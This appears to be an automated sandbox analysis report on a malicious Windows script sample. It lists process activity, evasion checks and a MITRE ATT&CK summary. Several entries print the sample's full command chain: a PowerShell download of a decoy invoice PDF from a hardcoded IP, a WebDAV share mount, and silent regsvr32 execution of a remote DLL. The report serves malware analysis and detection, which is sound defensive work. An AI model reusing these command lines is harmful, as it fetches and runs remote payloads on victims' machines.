Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2642.js.csv");ITextStream.WriteLine(" entry:8003 f:apctgnh");ITextStream.WriteLine(" exec:2 f:apctgnh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49737

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4937			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4616			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep count: 4937 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8068	Thread sleep count: 4616 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8156	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8048	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5912	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3276	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000002.1296231618.00000180B8D46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000007.00000002.1350342239.000002ED7AD3C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1350342239.000002ED7ACD8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2585262739.00000238B2455000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2584155979.00000238AD02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2585217577.00000238B2443000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10189150612951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
